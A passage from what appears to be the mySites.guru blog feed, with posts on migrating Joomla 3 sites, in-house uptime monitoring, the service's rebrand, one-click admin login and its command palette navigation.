&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/the-joomla-3-10-999-project/&quot;&gt;Joomla 3 reached end-of-life on August 17, 2023&lt;/a&gt;. No further releases will be made, even for security issues. If you still have Joomla 3 sites, migrating to Joomla 4, 5, or 6 should be a priority.&lt;/p&gt;
&lt;p&gt;Joomla 5 is the current stable release, and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 is already out&lt;/a&gt;. Which version you target depends on your hosting and what extensions you need. Check the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5 requirements&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 requirements&lt;/a&gt; to see if your servers are ready.&lt;/p&gt;
&lt;h2&gt;Why is this a migration, not an upgrade?&lt;/h2&gt;
&lt;p&gt;Moving from Joomla 3 to Joomla 4+ is a migration, not a one-click upgrade. Every plugin, extension, module, and template on your site needs a compatible version for the target Joomla release. Some won&apos;t have one. If you manage multiple sites, the &lt;a href=&quot;https://mysites.guru/blog/how-to-compare-joomla-templates-across-sites/&quot;&gt;template comparison tool&lt;/a&gt; helps you track which sites still need their templates migrated.&lt;/p&gt;
&lt;p&gt;Sometimes the only way to find out is to attempt the migration and fix what breaks. Plenty of migrations stall when that one extension you depend on hasn&apos;t been updated in years and has no replacement.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;ℹ️ Joomla&apos;s official migration guides&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;These were written for the Joomla 3 to 4 migration. Some URLs may have moved since then, but the general process still applies for moving to Joomla 4+.&amp;lt;/p&amp;gt;
&amp;lt;ul class=&quot;mt-2 text-sm text-blue-800 dark:text-blue-300 list-disc list-inside space-y-1&quot;&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href=&quot;https://docs.joomla.org/Planning_for_Mini-Migration_-_Joomla_3.10.x_to_4.x&quot; class=&quot;underline&quot;&amp;gt;Planning for Mini-Migration&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Joomla_3.x_to_4.x_Step_by_Step_Migration&quot; class=&quot;underline&quot;&amp;gt;Step by Step Migration&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href=&quot;https://docs.joomla.org/Pre-Update_Check&quot; class=&quot;underline&quot;&amp;gt;Pre-Update Check&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Why don&apos;t we offer a fixed-fee migration service?&lt;/h2&gt;
&lt;p&gt;Every Joomla 3 site is different. The extensions, the template framework, whatever custom code has been bolted on over the years. We could get days into the work and hit a wall because one critical extension has no modern replacement.&lt;/p&gt;
&lt;p&gt;There&apos;s no honest way to quote a fixed price for that, so we don&apos;t offer it.&lt;/p&gt;
&lt;h2&gt;How do you reconnect mySites.guru after migration?&lt;/h2&gt;
&lt;p&gt;The Joomla 3 connector won&apos;t work on Joomla 4 or later. Joomla 4, 5, and 6 each have their own dedicated connector plugin, built to take advantage of the PHP standards available in each major version.&lt;/p&gt;
&lt;p&gt;Here&apos;s the process:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Remove&lt;/strong&gt; the old mySites.guru plugin from your Joomla 3 site before migrating&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete&lt;/strong&gt; the old site entry from your mySites.guru account&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Migrate&lt;/strong&gt; your site to your target Joomla version (4, 5, or 6) and get it stable&lt;/li&gt;
&lt;li&gt;In mySites.guru, click &lt;strong&gt;&quot;Add Another Site&quot;&lt;/strong&gt; and select the Joomla 4+ connector option&lt;/li&gt;
&lt;li&gt;Install the new connector in your migrated site&apos;s admin panel&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After that, mySites.guru works the same as it did with your Joomla 3 site. All the same &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;monitoring and management tools&lt;/a&gt;, plus version-specific features like the &lt;a href=&quot;https://mysites.guru/blog/joomla-5-technical-requirements-check/&quot;&gt;Joomla 5&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6&lt;/a&gt; requirements checkers.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you run into any issues during the reconnection, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Migration planning is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>migration</category><category>joomla 4</category><category>joomla 5</category><category>joomla 6</category><enclosure url="https://mysites.guru/_astro/joomla3to4.CJdGLEzI.webp" length="0" type="image/webp"/></item><item><title>Monitor site uptime with mySites.guru</title><link>https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/</guid><description>mySites.guru runs its own uptime monitoring engine with per-minute checks and instant downtime alerts at no extra cost.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We used to provide &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot&lt;/a&gt; Integrated monitors for your sites, but now we are providing UNLIMITED FREE uptime monitors - powered by our own custom-written engine - to all mySites.guru subscribers and connected sites.&lt;/p&gt;
&lt;h2&gt;How does free uptime monitoring work?&lt;/h2&gt;
&lt;p&gt;mySites.guru used &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot&lt;/a&gt; for uptime monitoring for nearly a decade. After &lt;a href=&quot;#why-we-stopped-using-uptimerobot&quot;&gt;reliability problems and a 352% price hike&lt;/a&gt;, we built our own engine instead. No extra cost to subscribers.&lt;/p&gt;
&lt;p&gt;The engine runs as a standalone Node.js service on its own infrastructure, separate from the main mySites.guru servers. It checks your connected sites and alerts you when they go offline (or worse, get hacked) so you can respond quickly. mySites.guru also does &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL checks&lt;/a&gt; and much more in our &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit tools&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The engine starts with a single HEAD request. If your site responds, great - nothing happens.&lt;/p&gt;
&lt;p&gt;If there&apos;s no response within 45 seconds, it retries with a GET request and waits another 45 seconds. If that also fails, it makes one final GET request from a different location around the world (from a secret IP - your site shouldn&apos;t be blocking IPs, it&apos;s a public site). If all three fail, you get an email alert. If you get an alert but your site loads fine for you, &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;there are a few common reasons for that&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sites on the same server are staggered across different check times so we don&apos;t hit your server with a burst of HEAD requests all at once.&lt;/p&gt;
&lt;p&gt;We load-tested the platform to 1 million domain checks per second. The whole thing runs on three $5 servers - a fraction of what UptimeRobot was charging us. We just needed the push to build it ourselves.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-neutral-700 dark:text-neutral-300 m-0&quot;&amp;gt;The screenshots below are from an older version of the interface. The dashboard has since been redesigned, but the monitoring works the same way.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Example email alert:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can see an overview of all your monitors in your account:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can also see the last 24 hours of response times, which makes it easy to spot performance problems:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why did we stop using UptimeRobot?&lt;/h2&gt;
&lt;p&gt;mySites.guru used &lt;a href=&quot;https://uptimerobot.com&quot;&gt;UptimeRobot&lt;/a&gt; for uptime monitoring from 2012 until August 2021. After UptimeRobot was &lt;a href=&quot;https://blog.uptimerobot.com/uptimerobot-2020-update/&quot;&gt;acquired by itrinity&lt;/a&gt; in 2019, the service suffered repeated outages and our account was terminated without warning on multiple occasions. In July 2021, the new owners tried to raise our annual fee from $6,792 to $22,416 (a 352.4% increase) with 66 days&apos; notice. We declined, and on 12th August 2021 we switched to our own custom-built monitoring engine. It handles all our monitoring at a fraction of the cost, with no third-party dependency.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Uptime monitoring is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>uptime</category><category>monitoring</category><category>alerts</category><enclosure url="https://mysites.guru/_astro/LARGE-IMAGES-2-1024x576.o3rPOC2K.webp" length="0" type="image/webp"/></item><item><title>mySites.guru is the new name for rebranded myJoomla.com</title><link>https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/</guid><description>myJoomla.com has been rebranded as mySites.guru to reflect full support for Joomla, WordPress and any PHP-based website in one platform.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As our service now supports &lt;strong&gt;Joomla&lt;/strong&gt; and &lt;strong&gt;WordPress&lt;/strong&gt; CMS’s, its no longer appropriate to be called “&lt;a href=&quot;https://myJoomla.com&quot;&gt;myjoomla.com&lt;/a&gt;” and therefore we have changed the service name to &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For a limited time myJoomla.guru will be used to market to individual segments of the market specific to one of the platforms, but moving forward &lt;strong&gt;mySites.guru&lt;/strong&gt; will be the new name, and home of our service.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>rebrand</category><category>news</category><enclosure url="https://mysites.guru/_astro/myjoomla-com-is-now-mysites-guru.Do7_cBNA.png" length="0" type="image/png"/></item><item><title>80,000+ Sites Trust mySites.guru</title><link>https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-connected-to-74000-joomla-and-wordpress-sites/</guid><description>Over 80,000 Joomla, WordPress, and PHP sites are connected to mySites.guru - all managed from a single dashboard invested into daily by its founder.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Over 80,000 Joomla, WordPress, and PHP sites are connected to mySites.guru, with new ones added every day.&lt;/p&gt;
&lt;p&gt;People stick with us because the product works. Any service can &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;update&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/&quot;&gt;monitor&lt;/a&gt; a site. But we deploy new code multiple times a day, react to emerging threats in real time, and add new hack file signatures daily. Our detection of hacks inside Joomla and WordPress files is something nobody else comes close to.&lt;/p&gt;
&lt;p&gt;I work on this full time. Not a side hustle - it&apos;s what I do.&lt;/p&gt;
&lt;p&gt;There&apos;s always room to improve. Deploying multiple times a day means we do improve things daily, refining features and adding tools that make it easier to maintain your sites and your clients&apos; sites.&lt;/p&gt;
&lt;p&gt;80,000+ sites now trust mySites.guru. Still only the beginning.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>milestones</category><enclosure url="https://mysites.guru/_astro/13.GRE1Ynbe.webp" length="0" type="image/webp"/></item><item><title>One-Click Admin Login to Any Site</title><link>https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/</guid><description>Skip the login page entirely. One click from mySites.guru logs you straight into any Joomla or WordPress admin console - no passwords stored, fully encrypted.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you manage more than a handful of sites, you know the routine: open a tab, navigate to /administrator or /wp-admin, type your username, type your password, hit enter, wait. Multiply that by 10, 50, or 200 sites and it adds up fast.&lt;/p&gt;
&lt;p&gt;One-click admin login removes all of that. From your mySites.guru dashboard, press a single button and you&apos;re sitting in the admin console of any connected Joomla or WordPress site - logged in, ready to work.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;March 2026: Redesigned login screen&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;The one-click login experience has been redesigned with a cleaner, more focused interface. You now see a clear &quot;Signing you in&quot; confirmation with the target domain displayed front and center, along with a real-time status indicator as the secure session is established.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-xl border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Thousands of users have been using this feature since 2017. We publish &lt;a href=&quot;https://manage.mysites.guru/en/live/stats&quot;&gt;live login statistics&lt;/a&gt; inside your account so you can see just how much time it saves across your team.&lt;/p&gt;
&lt;h2&gt;What does one-click login look like in practice?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Click the &lt;strong&gt;Admin Login&lt;/strong&gt; button next to any site&lt;/li&gt;
&lt;li&gt;A new tab opens and you&apos;re already logged into the admin console&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That&apos;s it. No credentials to type, no login pages to wait for.&lt;/p&gt;
&lt;h2&gt;How does the encrypted login handshake work?&lt;/h2&gt;
&lt;p&gt;Your password is never involved. We don&apos;t ask for it, we don&apos;t store it, and we don&apos;t want it. Instead, every login goes through a multi-step encrypted handshake:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;mySites.guru contacts our request validation service to register an upcoming request&lt;/li&gt;
&lt;li&gt;An encrypted login request is sent to the mySites.guru plugin/extension on your site&lt;/li&gt;
&lt;li&gt;Your site checks back with our validation service to confirm the request is genuine&lt;/li&gt;
&lt;li&gt;After validation, your site decrypts the request and sees it&apos;s a login instruction&lt;/li&gt;
&lt;li&gt;Your site creates a new session for the admin user you&apos;ve pre-selected in mySites.guru&lt;/li&gt;
&lt;li&gt;You&apos;re redirected to your site, where your browser picks up that session&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You&apos;re logged in without a password ever crossing the wire. For logging into your mySites.guru account itself, we also support &lt;a href=&quot;https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/&quot;&gt;passkeys&lt;/a&gt; - so you can go fully passwordless end to end.&lt;/p&gt;
&lt;h2&gt;How do you set it up?&lt;/h2&gt;
&lt;p&gt;One-click login is an &lt;strong&gt;opt-in feature&lt;/strong&gt;. To enable it:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connect your site to your mySites.guru account&lt;/li&gt;
&lt;li&gt;Go to the &lt;strong&gt;Settings Tab&lt;/strong&gt; on the Manage Site page&lt;/li&gt;
&lt;li&gt;Select the admin user you want to log in as&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once configured, every admin link within mySites.guru automatically becomes a one-click login button.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-xl border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What is the mySites.guru auto sign-in dashboard?&lt;/h2&gt;
&lt;p&gt;Need to jump between multiple sites quickly? The &lt;a href=&quot;https://manage.mysites.guru/auto-sign-in/&quot;&gt;Secure Auto Sign In&lt;/a&gt; dashboard lists all your connected sites with a login button next to each one. You can also choose which user to log in as, per site.&lt;/p&gt;
&lt;p&gt;Three ways to get there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Press &lt;strong&gt;ll&lt;/strong&gt; (two lowercase L&apos;s) from anywhere in mySites.guru&lt;/li&gt;
&lt;li&gt;Press &lt;strong&gt;Cmd+K&lt;/strong&gt; to open the &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; and search for &quot;Secure Auto Sign In&quot;&lt;/li&gt;
&lt;li&gt;Use the Tool Finder&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-xl border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What if your admin area has .htaccess protection?&lt;/h2&gt;
&lt;p&gt;If your admin area is behind .htaccess basic auth, you have two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Store the credentials&lt;/strong&gt; on the site&apos;s settings page in mySites.guru so login is fully automatic&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enter them once manually&lt;/strong&gt; when prompted - your browser caches .htaccess credentials until you restart it, so you&apos;ll rarely need to re-enter them&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why does passwordless login matter for agencies?&lt;/h2&gt;
&lt;p&gt;Shared credentials are one of the biggest security liabilities in agency life. A spreadsheet of admin passwords floating around your team, sitting in a Slack thread, or saved in someone&apos;s browser is a breach waiting to happen. When a team member leaves, you&apos;re scrambling to figure out which sites they had access to and which passwords need rotating.&lt;/p&gt;
&lt;p&gt;One-click login sidesteps the whole problem. No passwords are stored, shared, or transmitted. Each login is a unique encrypted session that&apos;s validated in real time. If someone leaves your team, you revoke their mySites.guru access and they lose the ability to log into every connected site immediately. No password rotation needed.&lt;/p&gt;
&lt;p&gt;This is also safer than browser-saved passwords or even most password managers in a team context. Those tools still store the actual credential somewhere. With mySites.guru, the credential simply doesn&apos;t exist in the workflow. Your site&apos;s admin password can be a 64-character random string that nobody ever types, because nobody needs to.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru compare to other management tools?&lt;/h2&gt;
&lt;p&gt;Most WordPress hosting platforms now offer some version of one-click admin access. Kinsta has WP Admin auto-login through MyKinsta, and Flywheel offers Seamless Login from their dashboard. ManageWP (owned by GoDaddy) has had one-click login for years.&lt;/p&gt;
&lt;p&gt;Three practical differences using mySites.guru:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WordPress and Joomla.&lt;/strong&gt; Every competitor listed above is WordPress-only. If you manage a mixed portfolio with Joomla sites alongside WordPress, mySites.guru is the only dashboard that handles both from one place.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Host-independent.&lt;/strong&gt; Kinsta and Flywheel only work with sites hosted on their own platform. mySites.guru connects to any site on any host, whether it&apos;s a $5 VPS or a dedicated server you manage yourself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No credential storage.&lt;/strong&gt; Some tools require you to store admin credentials on their servers. mySites.guru never touches your password. The encrypted handshake means there&apos;s nothing to leak even if our database were compromised.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;When does mySites.guru one-click login save the most time?&lt;/h2&gt;
&lt;p&gt;The feature sounds like a small convenience until you use it at scale. Three places where it actually changes the workflow:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Emergency response.&lt;/strong&gt; A client calls to say their site is broken. Instead of hunting for credentials, navigating to wp-admin, and typing everything in, you click one button and you&apos;re inside their admin console within two seconds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Morning check routines.&lt;/strong&gt; If you run through 20-50 sites each morning to check for issues, one-click login turns a 30-minute ritual of typing passwords into a 5-minute scan. Open the &lt;a href=&quot;https://manage.mysites.guru/auto-sign-in/&quot;&gt;auto sign-in dashboard&lt;/a&gt;, click through each site, check what you need, move on. Combined with &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts for admin logins and file changes&lt;/a&gt;, you catch problems before your clients notice them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Client support.&lt;/strong&gt; A client asks you to check a plugin setting or debug a form that&apos;s not working. You&apos;re logged into their admin console before they finish explaining the problem. No back-and-forth asking for credentials, no waiting for them to find their password.&lt;/p&gt;
&lt;h2&gt;Can you log in as a different user with mySites.guru?&lt;/h2&gt;
&lt;p&gt;Yes. The auto-login configuration lets you choose which user to log in as on each site. If you normally log in as the Super Admin but need to check something as an editor or a client&apos;s own account, just change the selected user in the site&apos;s settings. The next time you click Admin Login, you&apos;ll be logged in as that user instead.&lt;/p&gt;
&lt;p&gt;This is useful for support situations where a client reports a problem that&apos;s specific to their account or role. Rather than asking them to describe what they see, you log in as their user and see it yourself.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;Universal User Management&lt;/a&gt; takes this further. From a single page, you can search every user account across all your connected sites, find a user by name or email, see which sites they have accounts on, reset their password, or change their role.&lt;/p&gt;
&lt;p&gt;For your own mySites.guru team, there&apos;s also a separate &lt;a href=&quot;https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/&quot;&gt;team member impersonation&lt;/a&gt; feature. As the account owner, you can switch into any team member&apos;s session to see exactly what they see, verify their permissions are correct, or debug an issue they&apos;re reporting. No credentials needed, and you exit back to your own account instantly.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html&quot;&gt;OWASP Session Management Cheat Sheet&lt;/a&gt; - Best practices for secure session handling&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/wordpress/cookies/&quot;&gt;WordPress Authentication Cookies&lt;/a&gt; - How WordPress handles login sessions&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html&quot;&gt;OWASP Authentication Cheat Sheet&lt;/a&gt; - Security best practices for authentication flows&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Quick site access is part of our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;guide to multi-site management for agencies&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>workflow</category><category>site management</category><category>security</category><enclosure url="https://mysites.guru/_astro/oneclicklogin.DhWLkpLj.webp" length="0" type="image/webp"/></item><item><title>The mySites.guru Command Palette Navigation</title><link>https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/</link><guid isPermaLink="true">https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/</guid><description>Press Cmd+K anywhere in mySites.guru to open the command palette and instantly navigate to any site, tool or account setting without touching the mouse.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A command palette is one of the fastest ways to navigate a large application. Press Cmd+K (or Ctrl+K on Windows) anywhere in mySites.guru to open it and navigate the whole service with a few keystrokes.&lt;/p&gt;
&lt;p&gt;The command palette in your &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;manage.mySites.guru&lt;/a&gt; account includes all menu options and account functions - changing your password, viewing your invoices, everything.&lt;/p&gt;
&lt;p&gt;All your sites are included too. If you have 100 sites you can jump straight to any site&apos;s manage page from anywhere: press Cmd+K, type a few characters of the site name or domain, hit Enter.&lt;/p&gt;
&lt;p&gt;You can also access most of the &lt;a href=&quot;https://mysites.guru/&quot;&gt;toolset&lt;/a&gt; from the command palette. The point is you don&apos;t need to click through the tool finder or remember where things live - just search for what you need.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The mySites.guru command palette that can be invoked with cmdk&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Are command palettes a new thing?&lt;/h2&gt;
&lt;p&gt;Some of the other advantages command palettes bring when done correctly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;You don’t have to take your hands off the keyboard. No clicking into menus, remembering where a feature lives. Just cmd+k and type.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You don’t need to know if functionality exists - type what you want and find out if it does and where it is.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Design trends and long-lived software mean that the UI can change. With a command palette, you don’t need to know where functionality has moved - you just search for it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can hide functionality from the UI, avoiding cluttering the screen, overwhelming folks with options, or confusing them with multiple sub-menus.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;They can be implemented to help users with disabilities by providing keyboard shortcuts or screen reader support.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can read more about the past, present and future over at &lt;a href=&quot;https://www.commandbar.com/blog/command-palette-past-present-and-future/&quot;&gt;https://www.commandbar.com/blog/command-palette-past-present-and-future/&lt;/a&gt; although we still dont believe that AI is worth the hype and will never replace much of what its hyped to replace - command palettes bring quick and easy navigation to large applications.&lt;/p&gt;
&lt;h2&gt;Does Google Chrome have a command palette?&lt;/h2&gt;
&lt;p&gt;If you are using Google Chrome, then you already have an app that has a command palette built in! The console has a command palette that allows easy access to all features - to invoke that open your Inspector (console), focus it, and press cmd p (or ctrl p on windows) ro open a resource or SHIFT CMD P to open the full command palette to run commands.:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The Google Chrome Command Palette&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I use it mainly to disable Javascript for testing -&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Cmd P (ctrl P on windows) is a common keystroke for command palettes for obvious reasons.&lt;/p&gt;
&lt;p&gt;SublimeText also has a command Palette -&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The Sublime Text command palette&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;What is the best command palette in existence?&lt;/h2&gt;
&lt;p&gt;Yes its true, the best command palette we use daily is the one from GitHub which is invoked on any github.com repo with Cmd k / ctrl k&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The GitHub command palette&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;from this interface you can navigate pretty much anything in your repository - or even press the delete button to break out of the current context and load different contexts or search across the whole of GitHub - it really is the best ever command palette integration we have ever seen!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The GitHub command palette&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Did you know WordPress has a command palette?&lt;/h2&gt;
&lt;p&gt;No neither did I until researching this blog post!&lt;/p&gt;
&lt;p&gt;You can learn more about the &lt;a href=&quot;https://learn.wordpress.org/tutorial/working-faster-with-the-command-palette/&quot;&gt;WordPress Command Palette&lt;/a&gt; on the official &lt;a href=&quot;https://learn.wordpress.org/tutorial/working-faster-with-the-command-palette/&quot;&gt;learn.wordpress.org website&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To access the WordPress Command Palette, simply open the Site Editor or a page or a post and use the keyboard shortcut command K on Mac or control K on Windows. You can also find it in the sidebar of the site view by clicking on the Search icon or the title bar of a template or page. Once you open the Command Palette, you will see a list of available commands.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
